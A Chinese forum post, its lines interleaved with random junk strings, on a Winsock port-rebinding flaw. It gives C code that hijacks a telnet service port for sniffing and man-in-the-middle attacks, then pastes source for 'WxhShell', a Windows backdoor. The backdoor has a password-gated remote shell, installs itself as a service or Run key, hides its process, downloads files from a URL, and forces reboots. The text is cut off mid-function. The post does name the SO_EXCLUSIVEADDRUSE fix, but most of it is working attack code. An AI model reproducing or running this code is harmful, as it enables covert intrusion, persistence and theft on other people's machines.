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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?z$^4u3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "fTW2D74  
,8^QV3  
  saddr.sin_family = AF_INET; /$NZj" #  
o+j~~P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); qe{:9  
|}Wm,J  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B(TE?[ #  
"g=g' W#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,q|;`?R;  
e0; KmQjG  
  这意味着什么?意味着可以进行如下的攻击: SZ'2/#R>  
WQ>y;fi5/{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U 3UDA  
?1kXV n$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) xYUC|c1Q9  
XzF-g*e  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k9Xv@v  
YLVZ]fN=>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   wq@{85  
K.T.?ug;:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 GjD^\d/  
!:<(p  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 #Z)8,N  
l k?@ =U~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7)U08"  
'W2B**}  
  #include d=v{3*a_4,  
  #include =Mby;wQ?|  
  #include /3`(Ki{ Q  
  #include    8'}D/4MUr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Svun RUE-f  
  int main() P^Tk4_,0  
  { j{?ogFfi  
  WORD wVersionRequested; Z>)M{25  
  DWORD ret; p|f5w"QcH  
  WSADATA wsaData; )=]u]7p}  
  BOOL val; -cL{9r&X  
  SOCKADDR_IN saddr; &}q;,"  
  SOCKADDR_IN scaddr; f+xhS,iDR  
  int err; T4lE-g2%M  
  SOCKET s; cU  
  SOCKET sc; c?H@HoF  
  int caddsize; 6myF!  H=  
  HANDLE mt; (n+FEE<  
  DWORD tid;   @3_[NI%  
  wVersionRequested = MAKEWORD( 2, 2 ); ys~oJb~  
  err = WSAStartup( wVersionRequested, &wsaData );  ZFH;  
  if ( err != 0 ) { :*6#(MX  
  printf("error!WSAStartup failed!\n"); ,u&K(Z%  
  return -1; lI*uF~ 'D  
  } W8><  
  saddr.sin_family = AF_INET; 5tG\5  
   WH6Bs=G\}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |h6u%t2AY  
{)L*\r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]XS[\qo  
  saddr.sin_port = htons(23);  3 UX/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )@,zG(t5;  
  { qwomc28O  
  printf("error!socket failed!\n"); L$ki>._i\  
  return -1; d09qZj>  
  } Q]7}" B&  
  val = TRUE; L55VS:'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 z3mo2e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) S+* g  
  { Ht_7:5v&   
  printf("error!setsockopt failed!\n"); |JVp(Kx  
  return -1; L7rH=gZ&!]  
  } l =Is-N`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?Tr\r1s]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 }VDJ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (S)jV 0  
(ibj~g?U,  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) NB=!1;^J  
  { 6 #m:=  
  ret=GetLastError(); T_NN.Ol   
  printf("error!bind failed!\n"); qvN`46c  
  return -1; H b}(.`  
  } N6thbH@  
  listen(s,2); z1vSt[s  
  while(1) Y-fDYMm  
  { Y4j%K~ls Y  
  caddsize = sizeof(scaddr); Yj'/ p  
  //接受连接请求 hvo7T@*'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \>N"{T  
  if(sc!=INVALID_SOCKET) L2}p<?f  
  { oH>G3n|U^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _p^&]eQ+k#  
  if(mt==NULL) agUdPl$e\  
  { dc=~EG-_rM  
  printf("Thread Creat Failed!\n"); >tQ$V<YB  
  break; U6K!FOND  
  } h( MNH6 B1  
  } (D~NW*,9  
  CloseHandle(mt); <Dq7^,}#  
  } {wwkbc*  
  closesocket(s); 9>7w1G#  
  WSACleanup(); t}x^*I$*  
  return 0; dR@XwEpP  
  }   bb}$7v`G  
  DWORD WINAPI ClientThread(LPVOID lpParam) <<~swN  
  { >'g>CD!  
  SOCKET ss = (SOCKET)lpParam; x4^* YZc$,  
  SOCKET sc; qtYVX:M@,  
  unsigned char buf[4096]; B +<i=w  
  SOCKADDR_IN saddr; gWLhO|y  
  long num; Dxp.b$0t  
  DWORD val; GEbm$\  
  DWORD ret; m&{%6  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v~`'!N8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Qt(4N!j  
  saddr.sin_family = AF_INET; }]!?t~5*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :vo#(  
  saddr.sin_port = htons(23); *DS>#x@3*i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8Luw< Q  
  { ,WgEl4  
  printf("error!socket failed!\n"); M'>8P6O  
  return -1; 7rSads  
  } *h4x`luJ  
  val = 100; S*w;$`Y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RM6*c .  
  { _sX@BE  
  ret = GetLastError(); /P koqA,  
  return -1; fj:q_P67o  
  } D\-D ~G]x  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )7;E,m<:tO  
  { |Q*OA  
  ret = GetLastError(); eccJt  
  return -1; ,f)#&}x*2+  
  } @0&KM|+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ro :)N:C  
  { "Kc1@EX=  
  printf("error!socket connect failed!\n"); RElIWqgY  
  closesocket(sc); a*bAf'=  
  closesocket(ss); Su*f`~G];  
  return -1; 3\E G  
  } '8V>:dy>  
  while(1) 6#up BF:  
  { _]6n]koD,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 kS1?%E,)q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <BX'Owbs!O  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 U])$#/ v  
  num = recv(ss,buf,4096,0); vHM,_I{  
  if(num>0) r"bV{v  
  send(sc,buf,num,0); 4ztU) 1  
  else if(num==0) kH">(f  
  break; -&QTy  
  num = recv(sc,buf,4096,0); pWOK~=t  
  if(num>0) 9?.  
  send(ss,buf,num,0); =niT]xf  
  else if(num==0) 'H8;(Rw  
  break; }zy h!  
  } LyNLz m5  
  closesocket(ss); L,_Z:\^  
  closesocket(sc); k r ga!,I  
  return 0 ; rPUk%S  
  } =)IV^6~b  
DtglPo_(  
HMl M!Xk?  
========================================================== H}PZJf_E  
nk.j7tu  
下边附上一个代码,,WXhSHELL FfpP<(4  
'v0(ki#  
========================================================== 7 (pl HW|  
d$#DXLA\P  
#include "stdafx.h" YF6 8 Ax]  
SK t&BnW  
#include <stdio.h> vNSeNS@jxC  
#include <string.h> E:ti]$$  
#include <windows.h> ),5|Ves;t[  
#include <winsock2.h> _ 0h)O  
#include <winsvc.h> &at>sQ'  
#include <urlmon.h> ]%eyrbU  
91\]Dg  
#pragma comment (lib, "Ws2_32.lib") M&J$9X  
#pragma comment (lib, "urlmon.lib") 'h3yxf}\  
r O-=):2  
#define MAX_USER   100 // 最大客户端连接数 K_o[m!:jU  
#define BUF_SOCK   200 // sock buffer ':#DROe!  
#define KEY_BUFF   255 // 输入 buffer :)DvZxHE@  
^ RIWW0  
#define REBOOT     0   // 重启 S:{`eDk\A_  
#define SHUTDOWN   1   // 关机 qt`HP3J&  
|<!xD iB  
#define DEF_PORT   5000 // 监听端口 !~ fy".|x  
6YF<GF{  
#define REG_LEN     16   // 注册表键长度 F42?h:y8I  
#define SVC_LEN     80   // NT服务名长度 QQ\\:]iM  
,?(U4pzX  
// 从dll定义API V|j{#;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6~tj"34_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BXa.XZ<n(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9^1li2zk{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @~C C$Y$  
,&iZ*6=X?0  
// wxhshell配置信息 o@uZU4MM  
struct WSCFG { n0%5mTUN  
  int ws_port;         // 监听端口 g[ O6WZ!F_  
  char ws_passstr[REG_LEN]; // 口令  4 `]  
  int ws_autoins;       // 安装标记, 1=yes 0=no $8WeWmY  
  char ws_regname[REG_LEN]; // 注册表键名 Rg%Xy`gS  
  char ws_svcname[REG_LEN]; // 服务名 :b"&Rc&s.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Hh`HMa'q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >TG#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C8AR ^F W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T07 AH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 80"oT'ZFh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1HBWOV7z.?  
fir#5,*q|  
}; W-<`Vo'  
(o518fmR  
// default Wxhshell configuration RW|Xh8.O  
struct WSCFG wscfg={DEF_PORT, rbc7CPq_^  
    "xuhuanlingzhe", ;uN&yj<}a  
    1, Zy=DY  
    "Wxhshell", d:JP935  
    "Wxhshell", wj 15Og?  
            "WxhShell Service", i#:M2&twE  
    "Wrsky Windows CmdShell Service", m]7oTmS  
    "Please Input Your Password: ", !OCb^y  
  1, sp-){k  
  "http://www.wrsky.com/wxhshell.exe", U_&v|2o#3  
  "Wxhshell.exe" !`A]YcQ  
    }; r1jsw j%7  
6UK}?+r~  
// 消息定义模块 ~7G@S&<PK(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qg`8f?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6>X9|w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5DI&pR1eZ  
char *msg_ws_ext="\n\rExit."; <>Nq ]WqA  
char *msg_ws_end="\n\rQuit."; ?o D]J  
char *msg_ws_boot="\n\rReboot..."; 5x2m ]u  
char *msg_ws_poff="\n\rShutdown..."; N!{waPbPi  
char *msg_ws_down="\n\rSave to "; ,\DSi&T  
!,(6uO%  
char *msg_ws_err="\n\rErr!"; 8mmHefZ}2!  
char *msg_ws_ok="\n\rOK!"; yUyx&Y/  
WZ A8D0[  
char ExeFile[MAX_PATH]; !wU~;sL8C3  
int nUser = 0; \#hp,XV>  
HANDLE handles[MAX_USER]; [ r<0[  
int OsIsNt; C$<['D?8  
1MPn{#Ff  
SERVICE_STATUS       serviceStatus; J"$Y`;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x1O]@Z{d\  
S^ ,q{x*T  
// 函数声明 &gr)U3w  
int Install(void); O>M4%p  
int Uninstall(void); e8Y;~OAj[  
int DownloadFile(char *sURL, SOCKET wsh); <hv {,1p-r  
int Boot(int flag); aANzL  
void HideProc(void); !&f>,?wlP  
int GetOsVer(void); (2l?~CaK  
int Wxhshell(SOCKET wsl); @hG]Gs[,o  
void TalkWithClient(void *cs); OsGKlWM/  
int CmdShell(SOCKET sock); dfa^5`_  
int StartFromService(void); sN8)p%'Lg  
int StartWxhshell(LPSTR lpCmdLine); vJ a?5Jr  
*#| lhf'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VGVb3@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ImG7E w  
jgyXb5GY  
// 数据结构和表定义 skeXsls  
SERVICE_TABLE_ENTRY DispatchTable[] = y.6Yl**l  
{ rHMr8,J;  
{wscfg.ws_svcname, NTServiceMain}, c+bOp 05o-  
{NULL, NULL} 6a%dq"5 +  
}; FRR`<do5$,  
P'Gf7sQt7  
// 自我安装 Q2 S!}A  
int Install(void) ? kBX:(g  
{ B=;p wX  
  char svExeFile[MAX_PATH]; 5i eF8F%  
  HKEY key; OngUZMgdb  
  strcpy(svExeFile,ExeFile); ^rX5C2}G\D  
}TDoQ]P  
// 如果是win9x系统,修改注册表设为自启动 C}D\^(nLu.  
if(!OsIsNt) { B']}n`g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m+LP5S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #$?!P1  
  RegCloseKey(key); vyXL F'L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Tg;1;XM%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nu<kx  
  RegCloseKey(key); H2iC? cSR  
  return 0; 7K`Z<v&*  
    } d"#& VlKcv  
  } $;Nw_S@  
} 9u^yEqG`  
else { z<~yns`Y.  
J^xIfV~ zt  
// 如果是NT以上系统,安装为系统服务 }%lk$g';  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !hc#il'g].  
if (schSCManager!=0) l(j._j~p  
{ q Xj]O3 mm  
  SC_HANDLE schService = CreateService >713H!uj  
  ( k "Qr  
  schSCManager, v*3tqT(%  
  wscfg.ws_svcname, Ae3=o8p  
  wscfg.ws_svcdisp, tsys</E&  
  SERVICE_ALL_ACCESS, "NOll:5"(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , loByT p ^  
  SERVICE_AUTO_START, .Z#8,<+  
  SERVICE_ERROR_NORMAL, yM`QVO!;  
  svExeFile, -S6^D/(;  
  NULL, 0\DlzIO  
  NULL, 37U$9]  
  NULL, .EXxNB]%Y&  
  NULL, 8v12<ktR`  
  NULL $?M$^- (e  
  ); M WHzrqCA  
  if (schService!=0) 7c>{og6  
  { Cz)/Bq  
  CloseServiceHandle(schService); #_9Jam%M  
  CloseServiceHandle(schSCManager); 9X ^D(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [qHtN.  
  strcat(svExeFile,wscfg.ws_svcname); N&YQZ^o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 71wtO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Zf *DC~E_  
  RegCloseKey(key); u7G9 eN  
  return 0; dkI(&/  
    } d:GAa   
  } JM>4m)h#  
  CloseServiceHandle(schSCManager); >DkRl  
} U!D\Vd  
} .J fV4!=o  
J=7<dEm&  
return 1; f J$>VN  
} =+>^:3cCQ  
3Jj 3!aDB  
// 自我卸载 G}N T[  
int Uninstall(void) bQBYzvd  
{ a$2 WL g,  
  HKEY key; VcpN PU6  
_a&Mk  
if(!OsIsNt) { <v+M~"%V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O tD!@GQ6  
  RegDeleteValue(key,wscfg.ws_regname); Q|&Wcxq2!  
  RegCloseKey(key); cjyb:gAO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { geJO#;  
  RegDeleteValue(key,wscfg.ws_regname); rM bb%d:  
  RegCloseKey(key); 2U|Nkm  
  return 0; T| 4c\  
  } :?RK>}4|F  
} s|,gn5  
} =/dW5qy;*+  
else { fRrHWE+  
&,$A7:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Xx?Jt  
if (schSCManager!=0) OIewG5O  
{ 3<JZt.|  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7)_0jp~2  
  if (schService!=0) 0^[ " &K/  
  { 'Fc&"(!||  
  if(DeleteService(schService)!=0) { X% _~9'#%  
  CloseServiceHandle(schService); 8<.KWr  
  CloseServiceHandle(schSCManager); #v(+3Hp  
  return 0; _|tg#i|Om  
  } ' {:(4>&  
  CloseServiceHandle(schService); `/+7@~[RU  
  } j*xens$)  
  CloseServiceHandle(schSCManager); `fc*/D  
} &Puu Xz<  
} fG,qax`:c  
Vs07d,@w>  
return 1; PCaa _ 2  
} t1ZZru'r  
bjQfZT(  
// 从指定url下载文件 89 fT?tT  
int DownloadFile(char *sURL, SOCKET wsh) ]L &_R^  
{ NqF-[G<  
  HRESULT hr; mup3ua]!  
char seps[]= "/"; h{PLyWH  
char *token; ojIh;e  
char *file; #Wc)wL-Tg  
char myURL[MAX_PATH]; bJBx~  
char myFILE[MAX_PATH]; 3`e1:`Hu  
IRS^F;)  
strcpy(myURL,sURL); }qlz^s  
  token=strtok(myURL,seps); =e._b 7P  
  while(token!=NULL) R [uo:.  
  { ~Kb(`Px@  
    file=token; =G=.THRUk  
  token=strtok(NULL,seps); i:[B#|%  
  } d1E~H]X4  
'Ob5l:  
GetCurrentDirectory(MAX_PATH,myFILE); R9#Z= f,  
strcat(myFILE, "\\"); r`7`f xe  
strcat(myFILE, file); wk5a &  
  send(wsh,myFILE,strlen(myFILE),0); HE( U0<9c  
send(wsh,"...",3,0); Hpsg[d)!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >eRbasshEI  
  if(hr==S_OK) | c8u  
return 0; uNRGbDMA=  
else ^ul`b  
return 1; "?S#vUS+ 2  
qrOTb9&y  
} c|O5Vp}  
3}T&|@*  
// 系统电源模块 -nd6hx  
int Boot(int flag) m=}kGzIY4  
{ @wa/p`gj5w  
  HANDLE hToken; km|~DkJ\a`  
  TOKEN_PRIVILEGES tkp; NKI&n]EO  
, 1`eH[  
  if(OsIsNt) { I}8F3_b,#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $@#nn5^IX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gXfAz,  
    tkp.PrivilegeCount = 1; `o*eLLk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A!^,QRkRN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4l3N#U0Q  
if(flag==REBOOT) { twN(]w}Ps|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CRqa[boU*  
  return 0; =o HJ_  
} Fvv6<E  
else { XSD7~X/:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Xg%zE  
  return 0; 2]C0d8=*?  
} W&yw5rt**  
  } b<7.^  
  else { ER|5_  
if(flag==REBOOT) { *yX_dgC>[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?=T&|pp  
  return 0; j1d=$'a "  
} ,~kMkBkl~  
else { O'mX7rY<<(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lq9c2xK  
  return 0; (>Yii_Cd  
} B}!n6j`  
} ~&q e"0  
I7Eg$J&  
return 1; M1g|m|H7  
} '"KK|]vJ  
U{_O=S u  
// win9x进程隐藏模块 >H%8~ Oek  
void HideProc(void) #".{i+3E  
{ S_WY91r  
]O\6.>H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L_A|  
  if ( hKernel != NULL ) TfxKvol'  
  { 3)eeUO+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $Z,+aLmb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mee-Qq:}  
    FreeLibrary(hKernel); UU !I@  
  } i4-L!<bJ  
dy0!Zz  
return; U?rfE(!  
} \:#b9t{B-  
A} "*`y  
// 获取操作系统版本 {B}0LJIpL  
int GetOsVer(void) !6}Cs3.  
{ +GGj*sD  
  OSVERSIONINFO winfo; j IW:O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K~E]Fkw!;  
  GetVersionEx(&winfo); C8jZcs#4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f[v??^  
  return 1; mB :lp=c`  
  else ywdNwNJ  
  return 0; 0O:TKgb&C.  
} 5N6%N1  
o4J K$%  
// 客户端句柄模块 {u1t .+  
int Wxhshell(SOCKET wsl) 2<O hO ^  
{ ?+!KucTF  
  SOCKET wsh; y^XwJX-f  
  struct sockaddr_in client; 5_O.p3$tV  
  DWORD myID; }I;W  
ewLr+8  
  while(nUser<MAX_USER) V?gQ`( ,  
{ [ wROIvV  
  int nSize=sizeof(client); qd.b&i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PM|K*,3J  
  if(wsh==INVALID_SOCKET) return 1; aR\=p:%jGI  
"-Ns1A8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3646.i[D  
if(handles[nUser]==0) U8c0C/  
  closesocket(wsh); t (1z+  
else Nhf!;>  
  nUser++; '"TBhisky  
  } 7~65@&P>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <)}*S  
x;SrJVDN  
  return 0; w_-{$8|  
} -{w&ya4X  
W t8 RC  
// 关闭 socket '5Y8 rv<  
void CloseIt(SOCKET wsh) EmH{G  
{ z(]*'0)P  
closesocket(wsh); %d>Ktf  
nUser--; z XvWo6  
ExitThread(0); 1{~9:U Q  
} wb{y]~&6K  
l5R H~F  
// 客户端请求句柄 W$3p,VTMmB  
void TalkWithClient(void *cs) vxwctJ&  
{ /Ly%-py-$  
|%tR#!&[:g  
  SOCKET wsh=(SOCKET)cs; Ve=0_GR0  
  char pwd[SVC_LEN]; 0VbZBLe  
  char cmd[KEY_BUFF]; >S~#E,Tg  
char chr[1]; C*KRu`t  
int i,j; N( /PJJ~  
eg}|%GG  
  while (nUser < MAX_USER) { c)lK{DC  
o`#;[  
if(wscfg.ws_passstr) { J#D!J8KP7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :l6sESr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R=IeAuZR4k  
  //ZeroMemory(pwd,KEY_BUFF); [A3hrSw  
      i=0; P2oR C3~  
  while(i<SVC_LEN) { jf})"fz-*  
K=~h1qV:  
  // 设置超时 }&!rIU  
  fd_set FdRead; RuHJk\T+  
  struct timeval TimeOut; X-ml0 =M[  
  FD_ZERO(&FdRead); >i0FGmxH  
  FD_SET(wsh,&FdRead); Q0r_+0[7j  
  TimeOut.tv_sec=8; 2V  
  TimeOut.tv_usec=0; VRxBi!d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bFTWuM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); beq)Frn^  
v& ? Bqj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9@S icqx   
  pwd=chr[0]; P= ]ZXj[  
  if(chr[0]==0xd || chr[0]==0xa) { ikY=}  
  pwd=0; K_My4>~Il  
  break; rL%xl,cn<  
  } (K2 p3M^  
  i++; + W +<~E  
    } yP"_j&ef7  
=XYfzR  
  // 如果是非法用户,关闭 socket !867DX3*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -nU_eDy  
} 1dKLNE  
^%_LA't'R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B'=*92i>S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xe%n.DW m  
~=c#Ff =Z  
while(1) { ah}aL7dgO  
I=b#tUBh8  
  ZeroMemory(cmd,KEY_BUFF); L=VuEF  
OCX?U50am  
      // 自动支持客户端 telnet标准   5:AAqMa  
  j=0; FS']3uJ/  
  while(j<KEY_BUFF) { ))+R*k%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); , X|oCD  
  cmd[j]=chr[0]; .!Z.1:YR  
  if(chr[0]==0xa || chr[0]==0xd) { ~JBQjb]  
  cmd[j]=0; mT~:k}u~W  
  break; 7-(tTBH  
  } .&L#%C  
  j++; 2Yyc`o0R;h  
    } 3<Cd >o.  
dz7*a {  
  // 下载文件 / P{f#rV5  
  if(strstr(cmd,"http://")) { TpnkJygIm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9@ ^/ON\O  
  if(DownloadFile(cmd,wsh)) (D))?jnC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n RXf\*"3  
  else C~:aol i;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !WrUr]0IP  
  } J]Y." hi  
  else { &;,w})  
&&tQ,5H5  
    switch(cmd[0]) { _~6AUwM  
  rYc?y  
  // 帮助 B_:K.]DK`  
  case '?': { :e gSW2"5S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %1e`R*I  
    break; A 8&%G8d  
  } :vc[ iZ  
  // 安装 VP|9Cm=Fg  
  case 'i': { >j\zj] -"  
    if(Install()) Vrz<DB^-e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qxE~Moht  
    else z07!i@ue~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Z2VS"yH  
    break; CK.Z-_M  
    } *}yW8i}36  
  // 卸载 fFiFc^  
  case 'r': { JTdK\A>l  
    if(Uninstall()) 9;q@;)'5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pNE!waR>  
    else o#E z_D[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tt#M4n@  
    break; =@B9I<GKf  
    } U4 M!RdG  
  // 显示 wxhshell 所在路径 wgI$'tI  
  case 'p': { Z@j0J[s  
    char svExeFile[MAX_PATH]; d(R3![:  
    strcpy(svExeFile,"\n\r"); H@OYtPHGR  
      strcat(svExeFile,ExeFile); :m-HHWMN  
        send(wsh,svExeFile,strlen(svExeFile),0); hX~IZ((Hi8  
    break; `/0X].s#o  
    } ^D/*Hp _  
  // 重启 k g+"Ta[9  
  case 'b': { hm?-QVRPV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5Sk87o1E(d  
    if(Boot(REBOOT)) H@'Y>^z?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 u-j`7  
    else { AVHn7olG  
    closesocket(wsh); mtmtOG_/=  
    ExitThread(0); \y#gh95  
    } /zPN9 db  
    break; N CX!ss  
    } 0=7C-A1(D  
  // 关机 wGAN"K:e  
  case 'd': { "l2_7ZXsPT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -KbT[]  
    if(Boot(SHUTDOWN)) sd.:PE <  
